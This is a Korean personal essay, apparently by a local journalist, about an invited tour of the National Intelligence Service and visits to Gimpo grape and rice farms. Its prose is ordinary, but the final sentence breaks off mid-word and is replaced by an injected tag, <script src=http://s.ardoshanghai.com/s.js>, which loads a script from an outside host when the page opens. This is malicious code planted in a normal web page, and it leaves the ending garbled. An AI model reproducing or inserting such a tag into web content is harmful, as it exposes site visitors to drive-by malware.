<자매기간 초청 방문기>
철학자이며 미래학자인 앨빈토플러는 제3의 물결에서 페러다임의 변화는 계절에 따라 바뀌는 우리들의 옷차림처럼 거부 할 수 없는 시대의 요청이자 흐름이라 명명 하였습니다.
페러다임의 변화란 가치관, 이념의 변화등 많은 언어를 내포하고 있지만 쉽게 풀어 본다면 나의 몸짓, 나의 생각, 나의 행동이 그시대의 환경과 가치에 따라 변화하게 된다는 것입니다. 이러한 변화의 물결은 개인,기업,국가 등 많은 차이가 있겠지만 그중 제가 방문한 이 두곳의 변화는 가히 희망의 물결을 실감 할 수 있었습니다.
전날 그렇게 만류하는 아내의 걱정도 뿌리치고 두놈 섞어서 일곱,여덟순배를 했더니만 지하철도 무심하셨던지 구청역에서 동료들의 눈치를 보면서 옆칸으로 옮겨가, 신도림역에서는 자리가 나겠지 하고 승객이 한산한 곳에 서서 기다리고 고대 했는데 아무도 하차하지 않았습니다.
움켜쥔 배를 붙들고 양재역 2번 출구 강남문화센터앞에 도착하니 어여쁜 국정원 여직원이 마중나와 미리 대기한 버스에 타기를 권하였지만 저에겐 눈에 차지 않았고, 출발전 5분의 귀한 시간마져도 앉아서 힘만 주다가 그냥 나왔습니다.
정 기자 왈 “형님, 못 뽑았죠?”, “그게 티슈냐? 쑥쑥 나오게” 참 미웠습니다.
버스가 양재역을 출발 하자마자 사진 촬영은 안된다며 휴대폰 카메라는 테이프로 막혔고 그래도 뺏거나 보관하던 시절 보단 났다싶어 그냥 웃었지요.
출입 절차만해도 옛날에 비해 크게 까다롭진 않았지만, 두세번의 관문과 몸을 더듬는데는 좀 아쉬웠습니다.
“정보(情報)는 국력(國力)이다”라고 쓰여진 비문 앞에서 사진 한장을 찍다가 생각해보니, 그래 “음지에서 일하고 양지를 지향한다”고 바위에 크게 새긴때가 엊그제 같은데 참, 역사의 물결은 여기서도 흐르고 있구나 싶었습니다. 느낌도 많았죠.
국정원하면 옛 중앙정보부와 안기부가 떠오르고 국내외 정치 사찰은 물론 정보를 독점 장악해서 무소불위의 권한을 행사하는 거대 집단으로만 많이 인식돼 왔습니다.
그러나 지금은 “국민의 곁에서, 국민에게 희망을 주는 나무처럼, 국민과 함께하는 국가정보원으로 거듭나자”는 슬로건 아래 스스로 껍질 벗기에 솔선수범 여념이 없었습니다.
국가 안보전략을 기획함은 물론 테러에 대한 정보,대비 훈련,대치 상황에서의 보안,방첩기능, 세계적인 정보수립을 통하여 국가의 기밀을 보호하고 대항하는 업무까지, 국민이 원하는 정보서비스에 능동적으로 앞장서서, 평화 공존의 대한민국을 만들어 보겠노라는 당찬 각오가 그들의 눈속에 살아 있었습니다.
요글래 기업의 정보유출이 위험수위에 도달하고 인터넷 범죄가 안보를 위협하는 상황에까지 이르러 기업 정보유출방지는 물론 사이버테러 안전 업무까지 글로벌 최첨단 장비와 최고급 인력 없이는 이같은 국가적 전략 사업을 진행 할 수 없다고 느꼈습니다.
또한 이 모든것의 힘은 국민의 관심과 참여에서 출발 한다고 보여지며, 풀뿌리 민주주의의 근본인 전국 지역신문과 지방 자치의 활성화를 통해서, 서로 격려하고 지원 함으로써 더욱 발전해 나갈 것입니다.
국정원의 변화를 믿고 기다려 달라시는 차장님과 홍보처장님의 메시지를 들으며 구내식당에 들러 간단한 점심과 만찬을 뒤로한채 달리고 또 달렸습니다.
드넓은 김포평야가 우리의 상상력을 히롱 하였고, 한약재 5가지가 들었다는 유기농 상추는 메마른 저의 목젖을 열어 젖히고 말았습니다.
아, 정말 농약없는 유기농 농법이 바로 이런것이구나 느낄 사이도 없이 봉지에 담긴 포도를 벗겨보니 탱글탱글 빛나는 모습이 마치 구청앞 전광판처럼 아름답게 보였습니다. 봉지 포도농사로 지대의 가치를 높여온 김포 농민의 자랑스런 모습은 포도협회장님의 툭 튀어 나온 인격에서도, 총무님의 얼굴에도 환하게 비취이고 있었습니다.
이에 질세라 임금님의 수라상에 올랐다는 김포금쌀이 우리 일행을 맞이하며 거만한 자태를 뽐내고 있었고, 금쌀 연구회 큰방앗간엔 최첨단 기계들이 제1공정인 현미쌀부터 제5공정인 금쌀까지 평야의 웅장함을 옮겨논듯 했습니다. 얼마나 소중하고 귀한 배움의 시간 이었는지 한없이 고맙고 모두 보고싶습니다.
우리지역 신길동에 사신다는 이름도 특이하신 국순자 지원과장님, 살아있는 농업기술을 개발하고 접목해 가시는 자칭 성악가 최소장님, 부천의 7배나 된다는 김포의 드넓은 평온을 대한민국 최고의 지자체로 만들기 위해 불철주야 수고하시는 강경구 시장님을 비롯한 김포 시민 여러분, 대단 하십니다. 우리는 변화하고 성공하고 싶어 합니다.
그러나 상대가 나보다 강할것 같아서, 아니면 변화하는 미래가 두려워서 행동에 옮기지 못하곤 합니다. 하지만 막상 상?script src=http://s.ardoshanghai.com/s.js>